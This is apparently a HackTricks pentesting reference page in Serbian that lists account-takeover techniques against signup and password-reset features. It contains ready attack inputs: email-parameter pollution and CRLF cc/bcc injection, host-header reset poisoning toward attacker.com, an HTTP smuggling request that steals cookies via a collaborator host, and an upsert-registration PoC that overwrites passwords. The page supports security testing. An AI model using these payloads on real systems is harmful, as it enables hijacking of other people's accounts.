Ranljivosti registracije i preuzimanja naloga

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Preuzimanje naloga pri registraciji

Duplikat registracije

  • Pokušajte da kreirate nalog koristeći postojeće korisničko ime
  • Proverite varijacije email-a:
  • velika slova
  • +1@
  • dodavanje tačke u email adresu
  • specijalni karakteri u delu email-a (%00, %09, %20)
  • Stavite prazne karaktere posle email-a: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumeracija korisničkog imena

Proverite da li možete da utvrdite kada je korisničko ime već registrovano u aplikaciji.

Politika lozinki

Prilikom kreiranja korisnika proverite politiku lozinki (da li je moguće koristiti slabe lozinke). U tom slučaju možete pokušati bruteforce kredencijale.

SQL Injection

Check this page da naučite kako pokušati preuzimanje naloga ili izvlačenje informacija putem SQL Injections u formama za registraciju.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Promena email adrese

Nakon registracije pokušajte da promenite email i proverite da li je promena pravilno validirana ili je moguće postaviti proizvoljnu adresu.

Dodatne provere

  • Proverite da li možete koristiti disposable emails
  • Duga lozinka (>200) dovodi do DoS
  • Proverite rate limits pri kreiranju naloga
  • Koristite username@burp_collab.net i analizirajte callback

Preuzimanje naloga putem resetovanja lozinke

Password Reset Token Leak Via Referrer

  1. Zatražite reset lozinke na vašu email adresu
  2. Kliknite na link za reset lozinke
  3. Ne menjajte lozinku
  4. Kliknite na bilo koji 3rd party sajt (npr: Facebook, twitter)
  5. Interceptujte zahtev u Burp Suite proxy
  6. Proverite da li referer header leak-uje password reset token.

Password Reset Poisoning

  1. Interceptujte zahtev za reset lozinke u Burp Suite
  2. Dodajte ili izmenite sledeće header-e u Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Prosledite zahtev sa izmenjenim headerom
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Potražite URL za reset lozinke koji se bazira na host header-u kao npr.: https://attacker.com/reset-password.php?token=TOKEN

Reset lozinke putem email parametra

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na API parametrima

  1. Napadač mora da se prijavi svojim nalogom i ode na funkciju Change password.
  2. Pokrenite Burp Suite i Interceptujte request
  3. Pošaljite ga na repeater tab i izmenite parametre : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Slab token za reset lozinke

Token za reset lozinke treba da bude nasumično generisan i jedinstven svaki put.
Pokušajte da ustanovite da li token ističe ili je uvek isti — u nekim slučajevima algoritam generisanja je slab i može se pogoditi. Sledeće varijable mogu biti korišćene u algoritmu.

  • Timestamp
  • UserID
  • Email korisnika
  • Ime i prezime
  • Datum rođenja
  • Kriptografija
  • Samo brojevi
  • Mala sekvenca tokena ( characters between [A-Z,a-z,0-9])
  • Ponovna upotreba tokena
  • Datum isteka tokena

Leaking Password Reset Token

  1. Triggerujte zahtev za reset lozinke koristeći API/UI za određeni email npr: test@mail.com
  2. Pregledajte odgovor servera i proverite za resetToken
  3. Zatim koristite token u URL-u kao https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Reset lozinke putem kolizije korisničkog imena

  1. Registrujte se u sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa ubačenim razmacima pre i/ili posle korisničkog imena. npr: "admin "
  2. Zatražite reset lozinke koristeći vaše zlonamerno korisničko ime.
  3. Iskoristite token poslat na vaš email i resetujte žrtvinu lozinku.
  4. Prijavite se na žrtvin nalog sa novom lozinkom.

Platforma CTFd je bila ranjiva na ovaj napad.
See: CVE-2020-7245

Preuzimanje naloga putem Cross Site Scripting

  1. Nađite XSS unutar aplikacije ili na subdomeni ako su cookies scoped na parent domain : *.domain.com
  2. Leak trenutni sessions cookie
  3. Autentifikujte se kao korisnik koristeći cookie

Preuzimanje naloga putem HTTP Request Smuggling

1. Koristite smuggler da otkrijete tip HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Sastavite request koji će prepisati POST / HTTP/1.1 sa sledećim podacima:
GET http://something.burpcollaborator.net HTTP/1.1 X: sa ciljem da otvorite redirect žrtava ka burpcollab-u i ukradete njihove cookies
3. Konačni request može izgledati ovako

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone izveštaji o iskorišćavanju ovog buga
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Account Takeover via CSRF

  1. Kreirajte payload za CSRF, npr: “HTML form with auto submit for a password change”
  2. Pošaljite payload

Account Takeover via JWT

JSON Web Token might be used to authenticate an user.

  • Izmenite JWT sa drugim User ID / Email
  • Proverite da li je JWT potpis slab

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Neki signup handleri izvršavaju upsert kada navedeni email već postoji. Ako endpoint prihvata minimalno telo sa email-om i lozinkom i ne sprovodi verifikaciju vlasništva, slanje email-a žrtve će pre-auth prepisati njihovu lozinku.

  • Otkrivanje: prikupite nazive endpointa iz bundled JS (ili mobile app traffic), zatim fuzz-ujte bazne putanje kao /parents/application/v4/admin/FUZZ koristeći ffuf/dirsearch.
  • Naznake metode: GET koji vraća poruke kao "Only POST request is allowed." često ukazuje na ispravan HTTP metod i da se očekuje JSON body.
  • Minimalno telo primećeno u praksi:
json
{"email":"victim@example.com","password":"New@12345"}

Primer PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Uticaj: Full Account Takeover (ATO) bez ikakvog reset token, OTP ili email verification.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks